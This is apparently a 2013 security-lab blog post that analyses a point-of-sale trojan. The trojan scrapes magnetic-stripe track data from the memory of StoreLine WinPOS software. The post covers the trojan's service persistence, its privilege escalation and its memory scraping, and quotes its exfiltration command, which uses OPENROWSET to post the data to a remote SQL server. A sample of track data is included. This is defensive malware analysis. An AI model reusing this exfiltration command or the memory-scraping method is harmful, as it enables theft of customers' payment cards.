Wednesday 13 February 2013

PIN or Sign?

This week our lab came across an interesting trojan that targets point-of-sale (POS) terminals. This type of malware is relatively new, but it quickly gains traction - and here is why:

Conventional 'card skimming' practice is increasingly becoming prohibitive for the criminals - too much exposure, too much risk, and too little reward. The Australian Police force is also becoming very effective in busting the masterminds of card skimming rackets.

As a result, the criminals have started looking for new methods of compromising credit cards (well, they never stopped), and this particular trojan is a good evidence of their aspirations to evolve.

The trojan targets one particular type of POS software - StoreLine WinPOS, developed by Retalix.

For reference, large retail companies in Australia and New Zealand are now entering into agreement with Retalix to provide support for thousands of point-of-sale (POS) terminals, serving millions of customers every week.

Operation in a nutshell

As seen in this example, the StoreLine WinPOS software can be used at petrol stations. It is installed both at the main back office server, and at the cash office workstations, to handle checkout transactions. As soon as a customer swipes credit card to make a purchase, the data read from the credit card's magnetic stripe (the contents of tracks #1 and #2) gets processed by the software. At this point, the trojan intercepts the data right from the memory of the process PosW32.exe, locates the tracks' data, then encrypts it and posts it to a remote server.

Once the attackers retrieve intercepted credit card details from the remote server, they can now clone the credit cards, and use them to clear the funds. This way, the actual robbery is committed long time after the details are hijacked, it happens at the scattered locations, and is not limited with the cash amounts kept at the store.

One approach to infect the servers running the POS software assumes an insider job, either from (corrupt) technical personnel or someone else who has physical access to the point-of-sale hardware or its network.

Technical Details

Once executed, the trojan performs the following actions:

  • Creates a service called Retalix; the service is set up to ignore errors, and auto-start with the start of the system

  • Sets its own full path name as an executable path for the newly created service

  • Changes the failure action parameters of a service (SERVICE_CONFIG_FAILURE_ACTIONS) so that in case of a failure, the service gets restarted 2 minutes after first, second and any subsequent failure within the service

  • Runs:
    cmd /c net start Retalix
    in order to start itself as a service

Once the trojan is started as a service, it grants itself SeDebugPrivilege and SeTcbPrivilege privileges that allow it to call debugging functions, such as ReadProcessMemory(), and act as part of the operating system.

Next, it enumerates all the processes with EnumProcesses() in order to find a process called PosW32.exe - the targeted StoreLine WinPOS software. If this process exists, it will then read its memory with ReadProcessMemory() and parse it looking for the field separator characters such as '^' and '='. These separators are used to analyse data found between them, validate it to make sure it consists of allowed characters only and that the data length is valid too. This way, the malware detects data stored on tracks 1 and 2 of the credit card's magnetic stripe in a specific format, similar to the one below:

Track 1:   %B4711223344556677^CITIZEN/JOHN^1501101000000012300000?
Track 2:   ;4711223344556677=15011010000012300000?

where:
  • 4711 2233 4455 6677 - credit card number

  • JOHN CITIZEN - card holder

  • 1501 - expiry date (January 2015)

  • 1 - International interchange OK

  • 0 - Normal

  • 1 - No restrictions, No PIN required

  • ...

  • 123 - Card Verification Value or Card Verification Code (CVV/CVC)

As soon as the tracks' data is recovered, the trojan encodes it with Base64 algorithm, using a custom alphabet.

The encoded data is then submitted to a remote SQL server by running a stand-alone tool with the following parameters:

svchosts.exe -S MFS1 -U sa -P -Q "INSERT INTO OPENROWSET('SQLOLEDB','Network=DBMSSOCN;Address=[REMOTE_IP],443;uid=sa;pwd=[PASSWORD]', 'SELECT tab from rec..tbl') SELECT '[ENCRYPTED_DATA]'"

The [REMOTE_IP] is the IP address of the remote SQL server. In the analysed sample, there are 2 IP addresses used - one hosted in Romania, and another one hosted in Germany.

The trojan relies on existence of the tool svchosts.exe, that could be a legitimate SQL command line tool similar to DTM ODBC SQL runner.

The database it tries to populate is called 'rec', the table is 'tbl'. The switch -S seems to specify the client's host name - 'MFS1', which is identical to the main back office server name of the Retalix system, where the store environment is managed from, and where the data on the POS is maintained. This indicates that the trojan aims to be installed at the back office, as shown below:



Conclusion

By attacking POS infrastructure, no skimming devices, no high risks, and no travelling (as demonstrated in this video) is required anymore.

With all the other security mechanisms around the other parts of the transaction (guards, CCTV, traffic encryption, etc.), attackers seem to have shifted their focus to a weaker link of the chain.